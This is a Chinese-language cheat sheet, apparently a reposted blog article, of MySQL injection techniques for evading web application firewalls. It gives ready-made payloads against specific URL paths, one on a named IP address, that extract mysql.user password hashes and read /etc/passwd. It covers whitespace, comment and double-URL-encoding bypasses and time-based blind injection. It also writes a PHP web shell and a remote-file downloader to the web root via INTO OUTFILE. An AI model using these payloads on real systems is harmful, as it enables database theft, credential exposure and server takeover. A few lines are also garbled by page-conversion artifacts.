1. 程式人生 > >MYSQL注入繞過技巧

MYSQL注入繞過技巧


/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version)

Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)

/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,8.0FROM(`mysql`.user))

/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,`user`FROM(`mysql`.user))

/lingdao.php?id=4.990Union(select-.1,`load_file`(0x2F6574632F706173737764),3,4,5,6,7,8)


----------------------------------------------------------------------------

 select user,password from users where user_id=\Nunion select 1,2;
 // \n表示回車,在Linux中表示一行的結束。

 select user,password from users where user_id=1.0union select 1,2;
 //不只是1.0只要是小數都行。

 select user,password from users where user_id=1e0union select 1,2;
 //1e0表示科學計數法。

 //SQL關鍵字、列名不區分大小寫,資料庫名錶名區分大小寫。

 select user,password from users where user_id=1 union select-1,2;
 //select後面如果是數字,可以是-1也可以是+1(即在數字的前面新增數學符號),這樣就避免了使用空格。

 select user,password from users where user_id=1 union select~1,2;
  //~1會返回一串數字,我在kali中測試返回18446744073709551614

 select user,password from users where user_id=1 union select!1,2;
 //!表示邏輯非

 select user,password from users where user_id=1 union
[email protected]
,2;
 //@1會返回null,@後面跟什麼都返回null。

 select user,password from users where user_id=1 union select'1',2;
 //單引號可以,雙引號也可以。
 
 select user,password from users where user_id=1 union select(1),2;
 //小括號可以巢狀多個。
 
 當然能夠代替空格的還有註釋符/**/
 
 char(109) 等於m
 ascii('m') 等於109
 length('ddd') 等於3
 substring('abc',2,1) 等於b

 select load_file(0x2F6574632F706173737764);
 //和 select load_file('/etc/passwd') Mysql會自動解碼十六進位制字串。

 select hex('shenlan'); 的值等於 7368656E6C616E
 //對字串進行十六進位制編碼

 select unhex('7368656E6C616E'); 的值等於 shenlan
 //對十六進位制字串進行解密

 select substring(hex(load_file('/tmp/90.jpg')),1,10);
 //使用substring函式對內容進行才分,這樣一次便可以有效地讀取一塊二進位制檔案,從而克服應用程式可能強加  //的限制。如上面的例子,先讀取前10個字元,然後讀取第二個字元塊是:
 select substring(hex(load_file('/tmp/90.jpg')),11,10);
 
 select 'shenlan' into outfile '/tmp/test.txt';
 //寫檔案,dumpfile允許寫二進位制檔案。

 避開WAF的其他方法

 使用大小寫變種

 使用註釋符
 select/**/password/**/from/**/admin;

 使用URL編碼
 http://210.36.200.9/xjzx/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
 //waf對提交的字串只進行一次url解碼,而web application卻進行二次url解碼,所以得以繞過防火牆檢測。

 可用於判斷的符號
 =、<、>、<>、like、!=
 

 id=8/*!50380 -1*/
 //判斷資料庫版本,如果版本編號大於50380則id=7,否則id=8

 
[email protected]
@version
 //mysql將會採取類似四捨五入的方式來計算@@version,如果@@version=5.1.52,則id=85。如果   //@@version=5.6.11,則id=84

 id=14260-if(@@version>5.1,1,0)
 //如果版本小於或等於5.1,則id不變,否則減一。

 使用非標準入口點
 比如,目標伺服器開了80埠和443埠,但是waf對過濾了80沒過濾443,這時我們就可以從443入手。或者cookie  注入或者其他http頭資訊注入。
 
 二階注入

 混合攻擊(xss+sql注入),比如當sql注入點在後臺的時候;管理員在內部網登入伺服器進行管理,而waf只檢測   外來的連線的時候。
 
 select user,password from(users)where user_id=1.0Union(select(1),(2));
 //本例中使用1.0代替1,以去掉兩者間本應有的空格,接下來使用小括號將數字括起來以免去空格。

 判讀是否存在注入
 id=161.0and%2b1
 id=161.0and false
 id=161 and true=1
 //and、or、xor、&&、||、!、+、-、*、/

 1、按位與“&”
 2、按位或“|”
 3、按位取反“~”
 4、安位異或“^”
 5、按位左移“<<”
 6、按位右移“>>”

 空格:
    09   Horizontal Tab
    0A   New Line
    0B   Vertical Tab
    0C   New Page
    0D   Carriage Return
    A0   Non-breaking Space
    20   Space

 select user,password from users where user_id=1&&1=1;

 常見的URL編碼
 20   Space
 2B   +
 2D   -
 7E   ~
 21   !
 40   @
 25   %
 3d   =

 XOR, DIV(除), SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,mod(求餘)
 
 select user,password from users limit 0,2;
 //返回的行數,下標從0開始。limit 0,2 表示返回前兩行。limit 1,1 表示返回第二行。

 利用MySQL出錯爆出欄位

 select user,password from users where user_id=1 and 'a'=b'1100001';
 //b表示二進位制編碼
 'a'=x'61' //x表示十六進位制編碼
 'a'=unhex(61)  //為真
 'a'=n'a' //n表示uniconde

 select concat(host,0x2D2D2D,password) from mysql.user;
 //0x2D2D2D就是---,用作間隔。

 
 截斷符號:# -- /* %00

 延遲
 id=80-if(@@version>5.0,sleep(5),0)

 select user,password from users where user_id=1/*!00000union*//*!select*/1,2;
 //可以正常執行

 mid()、substr()、substring()這三個函式功能相同用法相同

 select password,`host`from`mysql`.`user`union select 1,2;
 //反單引號可用於資料庫名、表名、列名上,但是不可用於內容,函式名、關鍵字上。
 select  `version`();
 //不過這樣可以


 strcmp()函式的功能及用法:
 mysql> SELECT STRCMP('text', 'text2');
        -> -1
 mysql> SELECT STRCMP('text2', 'text');
        -> 1
 mysql> SELECT STRCMP('text', 'text');
        -> 0

 
Escape Sequence    Character Represented by Sequence

\0     An ASCII NUL (0x00) character.
\'     A single quote (“'”) character.
\"     A double quote (“"”) character.
\b     A backspace character.
\n     A newline (linefeed) character.
\r     A carriage return character.
\t     A tab character.
\Z     ASCII 26 (Control+Z). See note following the table.
\\     A backslash (“\”) character.
\%     A “%” character. See note following the table.
\_     A “_” character. See note following the table.


 select+user,+password,-1-1.from users where user_id=1;
 //在列名前加+號,不影響返回的值,還可以是-、!之類的運算子,不過結果可能會變。


  select-count(user)as t from mysql.user;
  //返回的列名將變為t,也可以不要as,如 select-count(user)t from mysql.user;

 version()     //資料庫版本
 user()         //當前資料庫使用者
 database()      //當前資料庫名


 下面的符號可以用來註釋語句:
  #                Hash 語法     
  /*                C-style 語法     
  -- -                SQL 語法     
  ;%00                空位元組     
      `                反引號
 
  測試資料庫版本
  VERSION()
  @@VERSION
  @@GLOBAL.VERSION
 
  顯示資料庫使用者
  user(), current_user(), current_user, system_user(), session_user()     

  select concat_ws(0x3a,host,password) from mysql.user;
  //0x3a是冒號,表示host和password間的間隔。
  //也可以這樣,效果是一樣的
  select concat(host,0x3a,password) from mysql.user;
 
  當前資料庫名
  database()
  select schema()
 
  顯示所有資料庫名
  SELECT schema_name FROM information_schema.schemata;
 
  主機名
  @@HOSTNAME
 
  寫一個php的shell
  SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  訪問如下連結:
  http://localhost/shell.php?c=cat%20/etc/passwd

  寫一個下載者
  SELECT '<?php fputs(fopen($_GET[f],w),file_get_contents($_GET[d]));?>' INTO OUTFILE   '/var/www/get.php'
  也可以進行十六進位制編碼後在使用
  訪問如下連結:
  http://localhost/get.php?f=shell.txt&d=http://localhost/admin.php
 
  INTO OUTFILE 不可以覆蓋已存在的檔案。
  引號是必須的,因為沒有辦法可以編碼路徑名。

  寬位元組注入

  select password from mysql.user where user='root'%23te456tt465et%0Aand%23gdgetedfg%0A4=4 limit 1
  //使用隨機註釋替換空格,%23是#號,%0a是換行符